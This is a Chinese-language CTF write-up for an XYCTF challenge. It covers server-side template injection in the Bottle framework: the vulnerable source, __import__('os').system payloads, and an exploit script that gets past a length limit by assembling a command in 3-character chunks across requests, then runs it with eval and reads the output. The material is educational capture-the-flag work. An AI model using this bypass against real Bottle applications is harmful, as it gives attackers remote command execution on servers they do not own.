XYCTF-出题人已疯

  1. XYCTF-出题人已疯
    1. bottle的ssti
      1. 和jinja2的区别:
      2. 绕过
    2. 通过斜体字绕过

XYCTF-出题人已疯

由于找不到bottle相关的资料,直接”借鉴fuboy”的题解了

知识点:

1
bottle的ssti注入

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

我们在attack路由里输入?payload=4

检验到了有ssti漏洞

bottle的ssti

和jinja2的区别:

1
2
3
4
5
6
7
Bottle:
使用简单的{{python表达式}}语法
例如:{{1+1}}{{__import__('os').system('id')}}

Jinja2:
使用更复杂的模板语法
例如:{{ config.items() }}{{ ''.__class__.__mro__[1].__subclasses__() }}

简述:bottle的SSTI可以直接访问到内部类

一般payload:

1
__import__('os').system('命令')

绕过

直接用bottle的ssti利用脚本:

官方exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = 'http://gz.imxbt.cn:20256/attack'


payload = "__import__('os').system('cat /f*>123')"


p = [payload[i:i+3] for i in range(0,len(payload),3)]
flag = True
for i in p:
if flag:
tmp = f'\n%import os;os.a="{i}"'
flag = False
else:
tmp = f'\n%import os;os.a+="{i}"'
r = requests.get(url,params={"payload":tmp})

r = requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
r = requests.get(url,params={"payload":"\n%include('123')"}).text
print(r)

输出:

//hello
flag{L@men7XU_d0es_n0t_w@nt_t0_g0_t0_scho01}

分析:

1
2
3
4
p = [payload[i:i+3] for i in range(0, len(payload), 3)]
//分块传输Payload(规避过滤)
将Payload 每3个字符分割,例如:"__i", "mpo", "rt_", ...
目的是 绕过可能的长度限制或关键字过滤(如__import__可能被拦截)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
flag = True
for i in p:
if flag:
tmp = f'\n%import os;os.a="{i}"' # 初始化 os.a
flag = False
else:
tmp = f'\n%import os;os.a+="{i}"' # 追加到 os.a
r = requests.get(url, params={"payload": tmp})

//逐块发送Payload
\n% 是 Bottle模板的语法,类似于Jinja2的{{ }},但Bottle允许直接执行Python代码。
import os;os.a="...":第一次请求:初始化 os.a 为第一个分块(如"__i")。
后续请求:用 += 拼接剩余分块(如"mpo""rt_"...)。
最终,os.a 会存储完整的Payload:"__import__('os').system('cat /f*>123')"

即如果服务器 保持会话状态(如os.a变量未被清除),可以尝试:

分多次提交短Payload,存储到某个变量:

  • {{a="__imp"}}
  • {{a+="ort__"}}
  • {{a+="('os')"}}
  • {{eval(a)}}(最终执行__import__('os')

通过斜体字绕过

聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass - LamentXU - 博客园


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github